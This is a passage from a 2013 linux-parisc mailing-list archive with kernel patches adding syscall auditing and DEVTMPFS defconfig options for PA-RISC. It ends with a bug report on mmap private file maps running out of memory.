+++ b/arch/parisc/kernel/compat_audit.c
@@ -0,0 +1,40 @@
+#include <asm/unistd.h>
+
+unsigned int parisc32_dir_class[] = {
+#include <asm-generic/audit_dir_write.h>
+~0U
+};
+
+unsigned int parisc32_chattr_class[] = {
+#include <asm-generic/audit_change_attr.h>
+~0U
+};
+
+unsigned int parisc32_write_class[] = {
+#include <asm-generic/audit_write.h>
+~0U
+};
+
+unsigned int parisc32_read_class[] = {
+#include <asm-generic/audit_read.h>
+~0U
+};
+
+unsigned int parisc32_signal_class[] = {
+#include <asm-generic/audit_signal.h>
+~0U
+};
+
+int parisc32_classify_syscall(unsigned syscall)
+{
+	switch (syscall) {
+	case __NR_open:
+		return 2;
+	case __NR_openat:
+		return 3;
+	case __NR_execve:
+		return 5;
+	default:
+		return 1;
+	}
+}
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 534abd4..e842ee2 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -19,6 +19,7 @@
 #include <linux/security.h>
 #include <linux/compat.h>
 #include <linux/signal.h>
+#include <linux/audit.h>
 
 #include <asm/uaccess.h>
 #include <asm/pgtable.h>
@@ -267,11 +268,28 @@ long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
 
 long do_syscall_trace_enter(struct pt_regs *regs)
 {
+	long ret = 0;
+
 	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
 	    tracehook_report_syscall_entry(regs))
-		return -1L;
-
-	return regs->gr[20];
+		ret = -1L;
+
+#ifdef CONFIG_64BIT
+	if (!is_compat_task())
+		audit_syscall_entry(AUDIT_ARCH_PARISC64,
+			regs->gr[20],
+			regs->gr[26], regs->gr[25],
+			regs->gr[24], regs->gr[23]);
+	else
+#endif
+		audit_syscall_entry(AUDIT_ARCH_PARISC,
+			regs->gr[20] & 0xffffffff,
+			regs->gr[26] & 0xffffffff,
+			regs->gr[25] & 0xffffffff,
+			regs->gr[24] & 0xffffffff,
+			regs->gr[23] & 0xffffffff);
+
+	return ret ? : regs->gr[20];
 }
 
 void do_syscall_trace_exit(struct pt_regs *regs)
@@ -279,6 +297,8 @@ void do_syscall_trace_exit(struct pt_regs *regs)
 	int stepping = test_thread_flag(TIF_SINGLESTEP) ||
 		test_thread_flag(TIF_BLOCKSTEP);
 
+	audit_syscall_exit(regs);
+
 	if (stepping || test_thread_flag(TIF_SYSCALL_TRACE))
 		tracehook_report_syscall_exit(regs, stepping);
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: enable DEVTMPFS and DEVTMPFS_MOUNT in defconfigs
Date: Mon, 14 Oct 2013 22:55:36 +0200
Lines: 165
Approved: news@gmane.org
Message-ID: <20131014205536.GA5389@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381784140 21103 80.91.229.3 (14 Oct 2013 20:55:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Oct 2013 20:55:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 14 22:55:42 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VVpAz-0005IP-P5
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 Oct 2013 22:55:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758880Ab3JNUzl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Oct 2013 16:55:41 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50357 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757663Ab3JNUzk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Oct 2013 16:55:40 -0400
Original-Received: from p100.box ([84.173.50.17]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0M5LJv-1Vgaxx0Ntn-00zWS9 for
 <linux-parisc@vger.kernel.org>; Mon, 14 Oct 2013 22:55:38 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:12uQ0hphpFVqoQjluGf5Ryb2pg0pZSMavCj6yLcurnEymeY+a/1
 gb79FbMDGgIGOIYI52gk1lt1eG8lxLA8afrEfmu5tTeP8bRmQPlTRdGDyjSGg0A7yzgkMAc
 UMynX608mlr6RRoofGduEUczqjejgJQRO1IDrEJre5maduDEdD0SSfpej/zntxjnzbENqpf
 qC1AMOxzilT9TzPa+ZPJA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5386
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5386>

Latest udev version requires that DEVTMPFS and DEVTMPFS_MOUNT are
enabled, else initrd will fail to find root filesystem.
While touching those configs, unify a few other options, e.g.
disable CONFIG_IP_PNP_DHCP and enable CONFIG_BLK_DEV_INITRD.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/configs/712_defconfig b/arch/parisc/configs/712_defconfig
index 0f90569..39b680a 100644
--- a/arch/parisc/configs/712_defconfig
+++ b/arch/parisc/configs/712_defconfig
@@ -28,7 +28,6 @@ CONFIG_NET_KEY=m
 CONFIG_INET=y
 CONFIG_IP_MULTICAST=y
 CONFIG_IP_PNP=y
-CONFIG_IP_PNP_DHCP=y
 CONFIG_IP_PNP_BOOTP=y
 CONFIG_INET_AH=m
 CONFIG_INET_ESP=m
@@ -40,6 +39,8 @@ CONFIG_IP_NF_QUEUE=m
 CONFIG_LLC2=m
 CONFIG_NET_PKTGEN=m
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+CONFIG_DEVTMPFS=y
+CONFIG_DEVTMPFS_MOUNT=y
 # CONFIG_STANDALONE is not set
 # CONFIG_PREVENT_FIRMWARE_BUILD is not set
 CONFIG_PARPORT=y
diff --git a/arch/parisc/configs/a500_defconfig b/arch/parisc/configs/a500_defconfig
index b647b18..51cc316 100644
--- a/arch/parisc/configs/a500_defconfig
+++ b/arch/parisc/configs/a500_defconfig
@@ -38,7 +38,6 @@ CONFIG_NET_KEY=m
 CONFIG_INET=y
 CONFIG_IP_MULTICAST=y
 CONFIG_IP_PNP=y
-CONFIG_IP_PNP_DHCP=y
 CONFIG_IP_PNP_BOOTP=y
 CONFIG_INET_AH=m
 CONFIG_INET_ESP=m
@@ -79,6 +78,8 @@ CONFIG_IP_DCCP=m
 CONFIG_LLC2=m
 CONFIG_NET_PKTGEN=m
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+CONFIG_DEVTMPFS=y
+CONFIG_DEVTMPFS_MOUNT=y
 # CONFIG_STANDALONE is not set
 # CONFIG_PREVENT_FIRMWARE_BUILD is not set
 CONFIG_BLK_DEV_UMEM=m
diff --git a/arch/parisc/configs/b180_defconfig b/arch/parisc/configs/b180_defconfig
index e289f5b..f1a0c25 100644
--- a/arch/parisc/configs/b180_defconfig
+++ b/arch/parisc/configs/b180_defconfig
@@ -4,6 +4,7 @@ CONFIG_IKCONFIG=y
 CONFIG_IKCONFIG_PROC=y
 CONFIG_LOG_BUF_SHIFT=16
 CONFIG_SYSFS_DEPRECATED_V2=y
+CONFIG_BLK_DEV_INITRD=y
 CONFIG_SLAB=y
 CONFIG_MODULES=y
 CONFIG_MODVERSIONS=y
@@ -27,6 +28,8 @@ CONFIG_IP_PNP_BOOTP=y
 # CONFIG_INET_LRO is not set
 CONFIG_IPV6=y
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+CONFIG_DEVTMPFS=y
+CONFIG_DEVTMPFS_MOUNT=y
 # CONFIG_PREVENT_FIRMWARE_BUILD is not set
 CONFIG_PARPORT=y
 CONFIG_PARPORT_PC=y
diff --git a/arch/parisc/configs/c3000_defconfig b/arch/parisc/configs/c3000_defconfig
index 311ca36..ec1b014 100644
--- a/arch/parisc/configs/c3000_defconfig
+++ b/arch/parisc/configs/c3000_defconfig
@@ -5,6 +5,7 @@ CONFIG_IKCONFIG=y
 CONFIG_IKCONFIG_PROC=y
 CONFIG_LOG_BUF_SHIFT=16
 CONFIG_SYSFS_DEPRECATED_V2=y
+CONFIG_BLK_DEV_INITRD=y
 # CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
 CONFIG_EXPERT=y
 CONFIG_KALLSYMS_ALL=y
@@ -39,6 +40,8 @@ CONFIG_NETFILTER_DEBUG=y
 CONFIG_IP_NF_QUEUE=m
 CONFIG_NET_PKTGEN=m
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+CONFIG_DEVTMPFS=y
+CONFIG_DEVTMPFS_MOUNT=y
 # CONFIG_STANDALONE is not set
 # CONFIG_PREVENT_FIRMWARE_BUILD is not set
 CONFIG_BLK_DEV_UMEM=m
diff --git a/arch/parisc/configs/c8000_defconfig b/arch/parisc/configs/c8000_defconfig
index f110063..6d3852f 100644
--- a/arch/parisc/configs/c8000_defconfig
+++ b/arch/parisc/configs/c8000_defconfig
@@ -42,9 +42,7 @@ CONFIG_NET_KEY=m
 CONFIG_INET=y
 CONFIG_IP_MULTICAST=y
 CONFIG_IP_PNP=y
-CONFIG_IP_PNP_DHCP=y
 CONFIG_IP_PNP_BOOTP=y
-CONFIG_IP_PNP_RARP=y
 CONFIG_NET_IPIP=m
 CONFIG_IP_MROUTE=y
 CONFIG_IP_PIMSM_V1=y
@@ -62,6 +60,8 @@ CONFIG_TIPC=m
 CONFIG_LLC2=m
 CONFIG_DNS_RESOLVER=y
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+CONFIG_DEVTMPFS=y
+CONFIG_DEVTMPFS_MOUNT=y
 # CONFIG_STANDALONE is not set
 CONFIG_PARPORT=y
 CONFIG_PARPORT_PC=y
@@ -197,16 +197,12 @@ CONFIG_USB=y
 CONFIG_USB_OHCI_HCD=y
 CONFIG_USB_STORAGE=y
 CONFIG_EXT2_FS=y
-CONFIG_EXT2_FS_XATTR=y
-CONFIG_EXT2_FS_POSIX_ACL=y
-CONFIG_EXT2_FS_SECURITY=y
 CONFIG_EXT3_FS=y
 # CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
 CONFIG_EXT4_FS=m
 CONFIG_REISERFS_FS=m
 CONFIG_REISERFS_PROC_INFO=y
 CONFIG_XFS_FS=m
-CONFIG_XFS_POSIX_ACL=y
 CONFIG_QUOTA=y
 CONFIG_QFMT_V1=m
 CONFIG_QFMT_V2=m
@@ -218,7 +214,6 @@ CONFIG_MSDOS_FS=m
 CONFIG_VFAT_FS=m
 CONFIG_PROC_KCORE=y
 CONFIG_TMPFS=y
-CONFIG_TMPFS_XATTR=y
 CONFIG_NFS_FS=m
 CONFIG_NLS_CODEPAGE_437=m
 CONFIG_NLS_CODEPAGE_737=m
diff --git a/arch/parisc/configs/default_defconfig b/arch/parisc/configs/default_defconfig
index dfe88f6..697f409 100644
--- a/arch/parisc/configs/default_defconfig
+++ b/arch/parisc/configs/default_defconfig
@@ -37,7 +37,6 @@ CONFIG_NET_KEY=m
 CONFIG_INET=y
 CONFIG_IP_MULTICAST=y
 CONFIG_IP_PNP=y
-CONFIG_IP_PNP_DHCP=y
 CONFIG_IP_PNP_BOOTP=y
 CONFIG_INET_AH=m
 CONFIG_INET_ESP=m
@@ -49,6 +48,8 @@ CONFIG_INET6_ESP=y
 CONFIG_INET6_IPCOMP=y
 CONFIG_LLC2=m
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
+CONFIG_DEVTMPFS=y
+CONFIG_DEVTMPFS_MOUNT=y
 # CONFIG_STANDALONE is not set
 # CONFIG_PREVENT_FIRMWARE_BUILD is not set
 CONFIG_PARPORT=y
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add kernel auditing feature
Date: Tue, 15 Oct 2013 19:25:46 +0200
Lines: 288
Approved: news@gmane.org
Message-ID: <20131015172546.GA1188@p100.box>
References: <20131014190856.GA1483@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381857948 9325 80.91.229.3 (15 Oct 2013 17:25:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Oct 2013 17:25:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 15 19:25:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VW8NT-0002qY-TE
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 Oct 2013 19:25:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759520Ab3JORZv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Oct 2013 13:25:51 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:59660 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759482Ab3JORZu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Oct 2013 13:25:50 -0400
Original-Received: from p100.box ([84.173.56.216]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0M0bo2-1Vl2rS0Chq-00usIy for
 <linux-parisc@vger.kernel.org>; Tue, 15 Oct 2013 19:25:49 +0200
Content-Disposition: inline
In-Reply-To: <20131014190856.GA1483@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:OYkR11NqQckksMUvX7DK+jnSDbjRq9MJNmsX30jdWSxm7JN3zKA
 tZ1rRghOpdlll0vhVonwm69b8/TT+AaQpE/iZTlIba9Sebv2lFmM3ALYRz6CBtA+MPcjU1k
 CiNgEluE+1IsHNqIXuCJkzin4KzibsaGuDUTho8CKDIxtrA8bOdOFpMgjZy9YylsIDDLBYU
 PtbTjlfzaFAA3zcN/SAvw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5387
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5387>

updated (functional) patch:

parisc: add kernel auditing feature (v2)

Add kernel auditing feature for parisc.

Changes to v1:
	- ptrace.h: added regs_return_value() function
	- init/Kconfig: enable CONFIG_AUDITSYSCALL for parisc
	  architecture in Kconfig

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index ad2ce8d..73e0ac2 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -287,6 +287,10 @@ config SYSVIPC_COMPAT
 	def_bool y
 	depends on COMPAT && SYSVIPC
 
+config AUDIT_ARCH
+	def_bool y
+	depends on COMPAT
+
 config HPUX
 	bool "Support for HP-UX binaries"
 	depends on !64BIT
diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index 540c88f..bc7cf12 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -59,6 +59,7 @@ struct thread_info {
 #define TIF_32BIT               4       /* 32 bit binary */
 #define TIF_MEMDIE		5	/* is terminating due to OOM killer */
 #define TIF_RESTORE_SIGMASK	6	/* restore saved signal mask */
+#define TIF_SYSCALL_AUDIT	7	/* syscall auditing active */
 #define TIF_NOTIFY_RESUME	8	/* callback before returning to user */
 #define TIF_SINGLESTEP		9	/* single stepping? */
 #define TIF_BLOCKSTEP		10	/* branch stepping? */
@@ -68,6 +69,7 @@ struct thread_info {
 #define _TIF_NEED_RESCHED	(1 << TIF_NEED_RESCHED)
 #define _TIF_POLLING_NRFLAG	(1 << TIF_POLLING_NRFLAG)
 #define _TIF_32BIT		(1 << TIF_32BIT)
+#define _TIF_SYSCALL_AUDIT	(1 << TIF_SYSCALL_AUDIT)
 #define _TIF_NOTIFY_RESUME	(1 << TIF_NOTIFY_RESUME)
 #define _TIF_SINGLESTEP		(1 << TIF_SINGLESTEP)
 #define _TIF_BLOCKSTEP		(1 << TIF_BLOCKSTEP)
@@ -75,7 +77,7 @@ struct thread_info {
 #define _TIF_USER_WORK_MASK     (_TIF_SIGPENDING | _TIF_NOTIFY_RESUME | \
                                  _TIF_NEED_RESCHED)
 #define _TIF_SYSCALL_TRACE_MASK (_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP |	\
-				 _TIF_BLOCKSTEP)
+				 _TIF_BLOCKSTEP | _TIF_SYSCALL_AUDIT)
 
 #endif /* __KERNEL__ */
 
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 66ee3f1..ad1e3a6 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -31,5 +31,6 @@ obj-$(CONFIG_64BIT)	+= binfmt_elf32.o sys_parisc32.o signal32.o
 obj-$(CONFIG_STACKTRACE)+= stacktrace.o
 # only supported for PCX-W/U in 64-bit mode at the moment
 obj-$(CONFIG_64BIT)	+= perf.o perf_asm.o
+obj-$(CONFIG_AUDIT_ARCH) += audit.o compat_audit.o
 obj-$(CONFIG_FUNCTION_TRACER)		+= ftrace.o
 obj-$(CONFIG_FUNCTION_GRAPH_TRACER)	+= ftrace.o
diff --git a/arch/parisc/kernel/audit.c b/arch/parisc/kernel/audit.c
new file mode 100644
index 0000000..bdc7773
--- /dev/null
+++ b/arch/parisc/kernel/audit.c
@@ -0,0 +1,81 @@
+#include <linux/init.h>
+#include <linux/types.h>
+#include <linux/audit.h>
+#include <asm/unistd.h>
+
+static unsigned dir_class[] = {
+#include <asm-generic/audit_dir_write.h>
+~0U
+};
+
+static unsigned read_class[] = {
+#include <asm-generic/audit_read.h>
+~0U
+};
+
+static unsigned write_class[] = {
+#include <asm-generic/audit_write.h>
+~0U
+};
+
+static unsigned chattr_class[] = {
+#include <asm-generic/audit_change_attr.h>
+~0U
+};
+
+static unsigned signal_class[] = {
+#include <asm-generic/audit_signal.h>
+~0U
+};
+
+int audit_classify_arch(int arch)
+{
+#ifdef CONFIG_COMPAT
+	if (arch == AUDIT_ARCH_PARISC)
+		return 1;
+#endif
+	return 0;
+}
+
+int audit_classify_syscall(int abi, unsigned syscall)
+{
+#ifdef CONFIG_COMPAT
+	extern int parisc32_classify_syscall(unsigned);
+	if (abi == AUDIT_ARCH_PARISC)
+		return parisc32_classify_syscall(syscall);
+#endif
+	switch (syscall) {
+	case __NR_open:
+		return 2;
+	case __NR_openat:
+		return 3;
+	case __NR_execve:
+		return 5;
+	default:
+		return 0;
+	}
+}
+
+static int __init audit_classes_init(void)
+{
+#ifdef CONFIG_COMPAT
+	extern __u32 parisc32_dir_class[];
+	extern __u32 parisc32_write_class[];
+	extern __u32 parisc32_read_class[];
+	extern __u32 parisc32_chattr_class[];
+	extern __u32 parisc32_signal_class[];
+	audit_register_class(AUDIT_CLASS_WRITE_32, parisc32_write_class);
+	audit_register_class(AUDIT_CLASS_READ_32, parisc32_read_class);
+	audit_register_class(AUDIT_CLASS_DIR_WRITE_32, parisc32_dir_class);
+	audit_register_class(AUDIT_CLASS_CHATTR_32, parisc32_chattr_class);
+	audit_register_class(AUDIT_CLASS_SIGNAL_32, parisc32_signal_class);
+#endif
+	audit_register_class(AUDIT_CLASS_WRITE, write_class);
+	audit_register_class(AUDIT_CLASS_READ, read_class);
+	audit_register_class(AUDIT_CLASS_DIR_WRITE, dir_class);
+	audit_register_class(AUDIT_CLASS_CHATTR, chattr_class);
+	audit_register_class(AUDIT_CLASS_SIGNAL, signal_class);
+	return 0;
+}
+
+__initcall(audit_classes_init);
diff --git a/arch/parisc/kernel/compat_audit.c b/arch/parisc/kernel/compat_audit.c
new file mode 100644
index 0000000..ba64dfe
--- /dev/null
+++ b/arch/parisc/kernel/compat_audit.c
@@ -0,0 +1,40 @@
+#include <asm/unistd.h>
+
+unsigned int parisc32_dir_class[] = {
+#include <asm-generic/audit_dir_write.h>
+~0U
+};
+
+unsigned int parisc32_chattr_class[] = {
+#include <asm-generic/audit_change_attr.h>
+~0U
+};
+
+unsigned int parisc32_write_class[] = {
+#include <asm-generic/audit_write.h>
+~0U
+};
+
+unsigned int parisc32_read_class[] = {
+#include <asm-generic/audit_read.h>
+~0U
+};
+
+unsigned int parisc32_signal_class[] = {
+#include <asm-generic/audit_signal.h>
+~0U
+};
+
+int parisc32_classify_syscall(unsigned syscall)
+{
+	switch (syscall) {
+	case __NR_open:
+		return 2;
+	case __NR_openat:
+		return 3;
+	case __NR_execve:
+		return 5;
+	default:
+		return 1;
+	}
+}
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 534abd4..e842ee2 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -19,6 +19,7 @@
 #include <linux/security.h>
 #include <linux/compat.h>
 #include <linux/signal.h>
+#include <linux/audit.h>
 
 #include <asm/uaccess.h>
 #include <asm/pgtable.h>
@@ -267,11 +268,28 @@ long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
 
 long do_syscall_trace_enter(struct pt_regs *regs)
 {
+	long ret = 0;
+
 	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
 	    tracehook_report_syscall_entry(regs))
-		return -1L;
-
-	return regs->gr[20];
+		ret = -1L;
+
+#ifdef CONFIG_64BIT
+	if (!is_compat_task())
+		audit_syscall_entry(AUDIT_ARCH_PARISC64,
+			regs->gr[20],
+			regs->gr[26], regs->gr[25],
+			regs->gr[24], regs->gr[23]);
+	else
+#endif
+		audit_syscall_entry(AUDIT_ARCH_PARISC,
+			regs->gr[20] & 0xffffffff,
+			regs->gr[26] & 0xffffffff,
+			regs->gr[25] & 0xffffffff,
+			regs->gr[24] & 0xffffffff,
+			regs->gr[23] & 0xffffffff);
+
+	return ret ? : regs->gr[20];
 }
 
 void do_syscall_trace_exit(struct pt_regs *regs)
@@ -279,6 +297,8 @@ void do_syscall_trace_exit(struct pt_regs *regs)
 	int stepping = test_thread_flag(TIF_SINGLESTEP) ||
 		test_thread_flag(TIF_BLOCKSTEP);
 
+	audit_syscall_exit(regs);
+
 	if (stepping || test_thread_flag(TIF_SYSCALL_TRACE))
 		tracehook_report_syscall_exit(regs, stepping);
 }


diff --git a/arch/parisc/include/asm/ptrace.h b/arch/parisc/include/asm/ptrace.h
index a2db278..3c3cb00 100644
--- a/arch/parisc/include/asm/ptrace.h
+++ b/arch/parisc/include/asm/ptrace.h
@@ -19,5 +19,9 @@
 #define user_stack_pointer(regs)	((regs)->gr[30])
 unsigned long profile_pc(struct pt_regs *);
 
+static inline unsigned long regs_return_value(struct pt_regs *regs)
+{
+	return regs->gr[20];
+}
 
 #endif
diff --git a/init/Kconfig b/init/Kconfig
index 3ecd8a1..d988745 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -284,7 +284,7 @@ config AUDIT
 
 config AUDITSYSCALL
 	bool "Enable system-call auditing support"
-	depends on AUDIT && (X86 || PPC || S390 || IA64 || UML || SPARC64 || SUPERH || (ARM && AEABI && !OABI_COMPAT))
+	depends on AUDIT && (X86 || PARISC || PPC || S390 || IA64 || UML || SPARC64 || SUPERH || (ARM && AEABI && !OABI_COMPAT))
 	default y if SECURITY_SELINUX
 	help
 	  Enable low-overhead system-call auditing infrastructure that
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc mmap: private file maps
Date: Thu, 17 Oct 2013 12:45:01 -0400
Lines: 77
Approved: news@gmane.org
Message-ID: <BLU0-SMTP95AF0D680917EBD66DB24B97050@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382028292 29007 80.91.229.3 (17 Oct 2013 16:44:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Oct 2013 16:44:52 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 17 18:44:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VWqgw-00034Y-MY
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Oct 2013 18:44:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757898Ab3JQQoy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Oct 2013 12:44:54 -0400
Original-Received: from blu0-omc4-s1.blu0.hotmail.com ([65.55.111.140]:3064 "EHLO
	blu0-omc4-s1.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757897Ab3JQQox (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Oct 2013 12:44:53 -0400
Original-Received: from BLU0-SMTP95 ([65.55.111.135]) by blu0-omc4-s1.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 17 Oct 2013 09:44:58 -0700
X-TMN: [hHbu0YaMur/fSs4AN5PlohVnQRtgpl14]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([65.94.236.11]) by BLU0-SMTP95.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 17 Oct 2013 09:44:56 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.0.1
X-OriginalArrivalTime: 17 Oct 2013 16:44:56.0919 (UTC) FILETIME=[36516E70:01CECB58]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5388
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5388>

Currently, the perl testsuite fails the lib/locale.t test causing the
Debian package build to fail if tests are not disabled:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=721206

This is also perl bug #119567.

What happens is the test uses mmap to open a few hundred locale files
with MAP_PRIVATE:

...
open("/usr/lib/locale/de_LI.utf8/LC_ADDRESS", O_RDONLY|O_CLOEXEC) =  4
fstat64(4, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 127, PROT_READ, MAP_PRIVATE, 4, 0) = 0xffe93000
close(4)                                = 0
open("/usr/lib/locale/de_LI.utf8/LC_NAME", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 62, PROT_READ, MAP_PRIVATE, 4, 0) = -1 ENOMEM (Cannot 
allocate memory)

As can be seen, these are all small maps.

However, in arch_get_unmapped_area(), we allocate a shared area for all file
maps:

static unsigned long get_shared_area(struct address_space *mapping,
                 unsigned long addr, unsigned long len, unsigned long pgoff)
{
         struct vm_unmapped_area_info info;

         info.flags = 0;
         info.length = len;
         info.low_limit = PAGE_ALIGN(addr);
         info.high_limit = TASK_SIZE;
         info.vm_unmapped_area = PAGE_MASK & (SHMLBA - 1);
         info.align_offset = (get_offset(mapping) + pgoff) << PAGE_SHIFT;
         return vm_unmapped_area(&info);
}

As can be seen, align_mask is set to "PAGE_MASK & (SHMLBA - 1)".  This is
0x3ff000. vm_unmapped_area() adds this to len when it allocates the area.
So, at a minimum, we allocate just under 4 MB for each file map and rapidly
run out of memory for private file maps.

This results from the PA8800/PA8900 aliasing requirements.

